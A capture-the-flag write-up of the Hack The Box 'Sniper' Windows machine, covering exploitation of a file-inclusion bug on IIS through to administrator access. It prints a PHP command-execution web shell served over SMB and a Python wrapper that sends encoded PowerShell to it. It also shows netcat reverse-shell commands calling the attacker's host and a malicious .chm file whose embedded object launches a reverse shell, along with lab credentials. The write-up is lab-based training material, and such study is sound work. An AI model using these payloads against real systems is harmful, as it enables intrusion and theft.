HTB - Windows Sniper

HTB - Windows Sniper

Box about Local and Remote File Inclusion on a IIS server, exploited through an exploit hosted on a remote smb share. Port forwarding to access WinRM service from our machine. The privilege escalation consisted to abuse .chm files read by the administrator (CVE-2019-9896).

nodody - IUSR

NNNNN-map

$ nmap -sS -sV -sC -p- -T4 -vvv -oN nmap.txt 10.10.10.151

Nmap scan report for 10.10.10.151
Host is up, received echo-reply ttl 127 (0.11s latency).
Scanned at 2020-01-21 22:11:46 CET for 225s
Not shown: 65530 filtered ports
Reason: 65530 no-responses
PORT      STATE SERVICE       REASON          VERSION
80/tcp    open  http          syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Sniper Co.
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds? syn-ack ttl 127
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 8h00m38s
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 64106/tcp): CLEAN (Timeout)
|   Check 2 (port 18459/tcp): CLEAN (Timeout)
|   Check 3 (port 51336/udp): CLEAN (Timeout)
|   Check 4 (port 50926/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-01-22T05:15:31
|_  start_date: N/A

Two interesting services :

  • Microsoft-IIS/10.0 on 80

  • SMB as usual

I quickly checked smb and found nothing on the share so I focused on the web server. Just by browsing we find 2 interesting files :

On the first one you can sign up and login but nothing once logged. I didn’t fuzz the input and switched on the second one which seems interesting for LFI / RFI. Quicker than me, my burp scan found a LFI with this parameter.

$ http "http://10.10.10.151/blog/?lang=\windows\system32\drivers\etc\hosts" 

HTTP/1.1 200 OK
Content-Length: 2187
Content-Type: text/html; charset=UTF-8
Date: Tue, 28 Jan 2020 18:35:39 GMT
Server: Microsoft-IIS/10.0
X-Powered-By: PHP/7.3.1

<html>
<body>
<!DOCTYPE html>
<html lang="en" >

<head>
  <meta charset="UTF-8">
  <title>Services blog</title>
      <link rel="stylesheet" href="/blog/css/style.css">
</head>

<body>

<div id="main">
  <div class="container">
    <nav>
      <div class="nav-fostrap">
        <ul>
          <li><a href="/">Home</a></li>
          <li><a href="javascript:void(0)" >Language<span class="arrow-down"></span></a>
            <ul class="dropdown">
              <li><a href="/blog?lang=blog-en.php">English</a></li>
          <li><a href="/blog?lang=blog-es.php">Spanish</a></li>
              <li><a href="/blog?lang=blog-fr.php">French</a></li>
            </ul>
          </li>
          <li><a href="javascript:void(0)" >Download<span class="arrow-down"></span></a>
            <ul class="dropdown">
              <li><a href="">Tools</a></li>
              <li><a href="">Backlink</a></li>
            </ul>
          </li>
        </ul>
      </div>
      <div class="nav-bg-fostrap">
        <div class="navbar-fostrap"> <span></span> <span></span> <span></span> </div>
        <a href="" class="title-mobile">Fostrap</a>
      </div>
    </nav>
</div>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.0/jquery.min.js"></script>
<script  src="js/index.js"></script>
</body>

</html>
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
#      102.54.94.97     rhino.acme.com          # source server
#       38.25.63.10     x.acme.com              # x client host

# localhost name resolution is handled within DNS itself.
#    127.0.0.1       localhost
#    ::1             localhost
</body>
</html>

I then used the intruder to found other files with windows specific wordlist but found nothing. At least I create my own wordlist aggregating other one to make one bigger.

Checking how to exploit LFI on IIS, Windows env, I found this link :

The idea is to host a php file on our machine via a smb share and then to include this file with the RFI and get our php executed !

I tried to setup impacket smbserver.py but it failed, I saw on the log a connection on my server but IIS was not fetching the file. I just made a bit of investigation through wireshark and I still don’t know why, but it’s about auth.

Never mind, I setup a native smb server like this

$ cat /etc/samba/smb.conf

[public]
path = /tmp/share
available = yes
public = yes
browsable = yes
read only = yes
guest ok = yes

$ systemctl start smb.service

And hosted the following file

<?php

function my_exec($cmd, $input='') {
  $proc=proc_open($cmd, array(0=>array('pipe', 'r'), 1=>array('pipe', 'w'), 2=>array('pipe', 'w')), $pipes);
        fwrite($pipes[0], $input);fclose($pipes[0]);
        $stdout=stream_get_contents($pipes[1]);fclose($pipes[1]);
        $stderr=stream_get_contents($pipes[2]);fclose($pipes[2]);
        $rtn=proc_close($proc);
        return array('stdout'=>$stdout,
                     'stderr'=>$stderr,
                     'return'=>$rtn
                    );
       }

 echo "XXXXXXX\n";
 var_export(my_exec($_GET["cmd"]));
 echo "\nXXXXXXX\n";

?>

I initially used a meterpreter one which give me a metasploit session however the shell was not usable, was killed very often and didn’t have the stderr output.

This gem found on https://www.php.net/manual/fr/function.system.php have stderr display which is very helpful for powershell idiots like me.

http "http://10.10.10.151/blog/?lang=\\\\10.10.14.15\\public\\exec.php&cmd=whoami"
HTTP/1.1 200 OK
Content-Length: 1471
Content-Type: text/html; charset=UTF-8
Date: Tue, 28 Jan 2020 17:48:24 GMT
Server: Microsoft-IIS/10.0
X-Powered-By: PHP/7.3.1

<html>
<body>
<!DOCTYPE html>
<html lang="en" >

<head>
  <meta charset="UTF-8">
  <title>Services blog</title>
      <link rel="stylesheet" href="/blog/css/style.css">
</head>
<body>
<div id="main">
  <div class="container">
    <nav>
      <div class="nav-fostrap">
        <ul>
          <li><a href="/">Home</a></li>
          <li><a href="javascript:void(0)" >Language<span class="arrow-down"></span></a>
            <ul class="dropdown">
              <li><a href="/blog?lang=blog-en.php">English</a></li>
          <li><a href="/blog?lang=blog-es.php">Spanish</a></li>
              <li><a href="/blog?lang=blog-fr.php">French</a></li>
            </ul>
          </li>
          <li><a href="javascript:void(0)" >Download<span class="arrow-down"></span></a>
            <ul class="dropdown">
              <li><a href="">Tools</a></li>
              <li><a href="">Backlink</a></li>
            </ul>
          </li>
        </ul>
      </div>
      <div class="nav-bg-fostrap">
        <div class="navbar-fostrap"> <span></span> <span></span> <span></span> </div>
        <a href="" class="title-mobile">Fostrap</a>
      </div>
    </nav>
</div>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.0/jquery.min.js"></script>
<script>

    <script  src="js/index.js"></script>
</body>

</html>
XXXXXXX
array (
  'stdout' => 'iis apppool\\defaultapppool
',
  'stderr' => '',
  'return' => 0,
)
XXXXXXX
</body>
</html>

IUSR - Chris

So I wanted to have a real shell to pursue priv esc, I used netcat hosted on my machine like this

$ http "http://10.10.10.151/blog/?lang=\\\\10.10.14.15\\public\\exec.php&cmd=\\\\10.10.14.15\\public\\nc64.exe 10.10.14.15 4446"

But I got Access is denied so I wrote a quick wrapper in python to have a better shell.

from requests import get
from re import findall, DOTALL
from base64 import b64encode

url = "http://10.10.10.151/blog/?lang=\\\\10.10.14.15\\public\\exec.php&cmd=powershell.exe -EncodedCommand {}"

cmd = "_"

while cmd != "":
    cmd = b64encode(input("> ").encode("UTF-16LE")).decode("utf-8")
    res = get(url.format(cmd))
    print(findall(r"XXXXXXX\n(.*)XXXXXXX", res.text, DOTALL)[0])

I used the -EncodedCommand of powershell in order to avoid special chars in the url which could bring more stupid errors. Now I could type my payload worrying about nothing.

Take note that the intended base64 encoded command has to be utf-16 encoded as all string on windows use this encoding. Otherwise the command won’t be understood.

We now have a nice shell and I started inspected the web application source code to find some loot in it.

$ rlwrap python xploit.py

> dir ..\user
array (
  'stdout' => '

    Directory: C:\\inetpub\\wwwroot\\user

Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                      
d-----        4/11/2019   5:52 AM                css                                         
d-----        4/11/2019   5:23 AM                fonts                                     d-----        4/11/2019   5:23 AM                images                                    
d-----        4/11/2019   5:23 AM                js     
d-----        4/11/2019   5:23 AM                vendor         
-a----        4/11/2019   5:15 PM            108 auth.php           
-a----        4/11/2019  10:51 AM            337 db.php
-a----        4/11/2019   6:18 AM           4639 index.php             
-a----        4/11/2019   6:10 AM           6463 login.php            
-a----         4/8/2019  11:04 PM            148 logout.php            
-a----        10/1/2019   8:42 AM           7192 registration.php         
-a----        8/14/2019  10:35 PM           7004 registration_old123123123847.php                                      
'

> type ..\user\db.php

array (
  'stdout' => '<?php
// Enter your Host, username, password, database below.
// I left password empty because i do not set password on localhost.
$con = mysqli_connect("localhost","dbuser","36mEAhz/B8xQ~2VM","sniper");
// Check connection
if (mysqli_connect_errno())
  {
  echo "Failed to connect to MySQL: " . mysqli_connect_error();
  }
?>
'

So we have some credz : dbuser:36mEAhz/B8xQ~2VM for a mysql database. I didn’t see the port 3306 opened with the nmap scan so I checked if it was bind locally

$ > netstat -ano
array (
  'stdout' => '
Active Connections

  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       916
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:3306           0.0.0.0:0              LISTENING       5764
  TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:33060          0.0.0.0:0              LISTENING       5764
  TCP    0.0.0.0:47001          0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       488
  TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING       1112
  TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING       1452
  TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING       2600
  TCP    0.0.0.0:49668          0.0.0.0:0              LISTENING       628
  TCP    0.0.0.0:49669          0.0.0.0:0              LISTENING       656
  TCP    10.10.10.151:80        10.10.14.15:33204      ESTABLISHED     4
  TCP    10.10.10.151:139       0.0.0.0:0              LISTENING       4
  TCP    10.10.10.151:49706     10.10.14.15:445        ESTABLISHED     4
  TCP    127.0.0.1:49673        127.0.0.1:49674        ESTABLISHED     5764
  TCP    127.0.0.1:49674        127.0.0.1:49673        ESTABLISHED     5764
  TCP    [::]:80                [::]:0                 LISTENING       4
  TCP    [::]:135               [::]:0                 LISTENING       916
  TCP    [::]:445               [::]:0                 LISTENING       4
  TCP    [::]:3306              [::]:0                 LISTENING       5764
  TCP    [::]:5985              [::]:0                 LISTENING       4
  TCP    [::]:33060             [::]:0                 LISTENING       5764
  TCP    [::]:47001             [::]:0                 LISTENING       4
  TCP    [::]:49664             [::]:0                 LISTENING       488
  TCP    [::]:49665             [::]:0                 LISTENING       1112
  TCP    [::]:49666             [::]:0                 LISTENING       1452
  TCP    [::]:49667             [::]:0                 LISTENING       2600
  TCP    [::]:49668             [::]:0                 LISTENING       628
  TCP    [::]:49669             [::]:0                 LISTENING       656
  UDP    0.0.0.0:123            *:*                                    2800
  UDP    0.0.0.0:500            *:*                                    2740
  UDP    0.0.0.0:4500           *:*                                    2740
  UDP    0.0.0.0:5353           *:*                                    1716
  UDP    0.0.0.0:5355           *:*                                    1716
  UDP    10.10.10.151:137       *:*                                    4
  UDP    10.10.10.151:138       *:*                                    4
  UDP    127.0.0.1:64602        *:*                                    3092
  UDP    [::]:123               *:*                                    2800
  UDP    [::]:500               *:*                                    2740
  UDP    [::]:4500              *:*                                    2740
  UDP    [::]:5353              *:*                                    1716
  UDP    [::]:5355              *:*                                    1716

It isn’t so I must be restricted by the firewall. I tried to use the portfwd command in a meterpreter session but my mysql client couldn’t talk with the service with a strange error (I didn’t save the error message).

Remembering I have a php execution and I really know this bdd drivers I modified the db.php to dump the database.

<?php
// Enter your Host, username, password, database below.
// I left password empty because i do not set password on localhost.
$con = mysqli_connect("localhost","dbuser","36mEAhz/B8xQ~2VM","sniper", 3306);
// Check connection
if (mysqli_connect_errno())
  {
  echo "Failed to connect to MySQL: " . mysqli_connect_error();
  }
else {

//    $r = $con->query("SELECT * FROM users");
    $r = $con->query("SHOW TABLES;");
    $res = $r->fetch_all(MYSQLI_ASSOC);

    var_dump($res);

  echo "done";
}
?>

output :

> SHOW TABLES
array(1) {
  [0]=>
  array(1) {
    ["Tables_in_sniper"]=>
    string(5) "users"
  }
}

> SELECT * FROM users
array(1) {
  [0]=>
  array(5) {
    ["id"]=>
    string(1) "1"
    ["username"]=>
    string(9) "superuser"
    ["email"]=>
    string(15) "admin@sniper.co"
    ["password"]=>
    string(32) "6e573c8b25e9168e0c61895d821a3d57"
    ["trn_date"]=>
    string(19) "2019-04-11 22:45:36"
  }
}

So we now have another set of credz (once the hash busted) : superuser:$uperpassw0rd.

After inspecting the other php files, the web app seems pretty empty and the db was only hosting the previous information. So we have to move on.

Inspecting C:\users\ show us another user directory : Chris and there is a directory named C:\Docs but we don’t have the permissions to inspect it.

The nmap scan showed us there are no way to login using WinRM however the netstat command showed us that the service was enabled. We can verify it

PS > Test-WSMan
wsmid           : http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd
ProtocolVersion : http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd
ProductVendor   : Microsoft Corporation
ProductVersion  : OS: 0.0.0 SP: 0.0 Stack: 3.0

We know the chris user and we have a set of password lets try them. We have 2 ways to do it :

  • port forwarding

  • Invoke-Command

Spoiler : the password of Chris was the password of the db and not the one found in it.

Port forwarding

In meterpreter session

$ portfwd add -l 5985 -p 5985 -r 127.0.0.1

And we can now connect with Evil-winrm for example

$ evil-winrm -i localhost -u chris -p "36mEAhz/B8xQ~2VM"

Evil-WinRM shell v2.1

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Chris\Documents> whoami
sniper\chris
*Evil-WinRM* PS C:\Users\Chris\Documents> type ..\desktop\user.txt
21f4d0f29fc4dd867500c1ad716cf56e

Very nice and reliable solution but too easy :)

Invoke-Command

As we don’t have a “real” shell we can runas but the Invoke-Command from powershell allow us to execute command as an other user the following way :

$ rlwrap python xploit.py

> $u = 'SNIPER\\chris';$p = convertto-securestring '36mEAhz/B8xQ~2VM' -asplaintext -force;$cred=new-object -typename System.Management.Automation.PSCredential -argumentlist $u,$p;Invoke-Command -ScriptBlock {whoami} -Credential $cred -Computer localhost

array (
  'stdout' => 'sniper\\chris
'

And to have a reverse shell

*Evil-WinRM* PS C:\Users\Chris\Documents> cp \\10.10.14.15\\public\nc64.exe .

*Evil-WinRM* PS C:\Users\Chris\Documents> .\nc64.exe 10.10.14.15 4444 -e powershell

We are now ready to priv esc.

Chris - Administrator

We can now browse C:\Docs and there is only one interesting files, the other one is only a generic php manual.

PS C:\docs> type note.txt

Hi Chris,
    Your php skillz suck. Contact yamitenshi so that he teaches you how to use it and after that fix the website as there are a lot of bugs on it. And I hope that you've prepared the documentation for our new app. Drop it here when you're done with it.

Regards,
Sniper CEO

I have been stuck here for a while as I only found theses instruction. My intuition was to drop something in it which would be opened or executed by the administrator but I had no clue about the file to use.

Then I remember I didn’t dig in the Chris directory.

PS C:\users\chris> gci -Recurse . | select fullname

FullName                                 
--------                                 
C:\users\chris\3D Objects                
C:\users\chris\Contacts                  
C:\users\chris\Desktop                   
C:\users\chris\Documents                 
C:\users\chris\Downloads                 
C:\users\chris\Favorites                 
C:\users\chris\Links                     
C:\users\chris\Music                     
C:\users\chris\Pictures                  
C:\users\chris\Saved Games               
C:\users\chris\Searches                  
C:\users\chris\Videos                    
C:\users\chris\Desktop\user.txt          
C:\users\chris\Documents\nc.exe          
C:\users\chris\Documents\nc64.exe        
C:\users\chris\Downloads\instructions.chm
C:\users\chris\Favorites\Links           
C:\users\chris\Favorites\Bing.url        
C:\users\chris\Links\Desktop.lnk         
C:\users\chris\Links\Downloads.lnk

There is C:\users\chris\Downloads\instructions.chm which is Microsoft compiled HTML doc page. We can uncompress it to read it without GUI

PS C:\users\chris\downloads> hh -decompile here instructions.chm
PS C:\users\chris\downloads> dir

    Directory: C:\users\chris\downloads

Mode                LastWriteTime         Length Name                                       
----                -------------         ------ ----                                       
d-----        1/28/2020   2:28 PM                here                                       
-a----        4/11/2019   8:36 AM          10462 instructions.chm                                                      


PS C:\users\chris\downloads> dir here

    Directory: C:\users\chris\downloads\here

Mode                LastWriteTime         Length Name                                      
----                -------------         ------ ----                                       
-a----        1/28/2020   2:28 PM            281 a.html                                                                


PS C:\users\chris\downloads> type here\a.html

<html>
<body>
<h1>Sniper Android App Documentation</h1>

<h2>Table of Contents</h2>

<p>Pff... This dumb CEO always makes me do all the shitty work. SMH!</p>
<p>I'm never completing this thing. Gonna leave this place next week. Hope someone snipes him.</p>
</body>
</html>

Mmh shitty boss but not more information for us. After reading some doc I found a way to execute command through theses files

Following the guide I build a .chm file with the following payload

<html>
<title> PuTTY Help </title>
<head>
</head>
<body>

<OBJECT id=shortcut classid="clsid:52a2aaae-085d-4187-97ea-8c30db990436" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=",powershell.exe, -c c:\users\chris\documents\nc64.exe -e powershell 10.10.14.15 4445">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
shortcut.Click();
</SCRIPT>

<h2 align=center> PuTTY CHM </h2>
<p><h3 align=center> Welcome! </h3></p>
</body>
</html>

The payload is very specific has I knew It worked thanks to previous test with sending ping to my machine

Once compiled I hosted the file on my smb server and copied in C:\Docs, few second later I got the reverse shell !

rlwrap nc -lvp 4445
Listening on 0.0.0.0 4445
Connection received on 10.10.10.151 49827
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami
whoami
sniper\administrator
PS C:\Windows\system32> type c:\users\administrator\desktop\root.txt
type c:\users\administrator\desktop\root.txt
5624caf363e2750e994f6be0b7436c15

root password : 5624caf363e2750e994f6be0b7436c15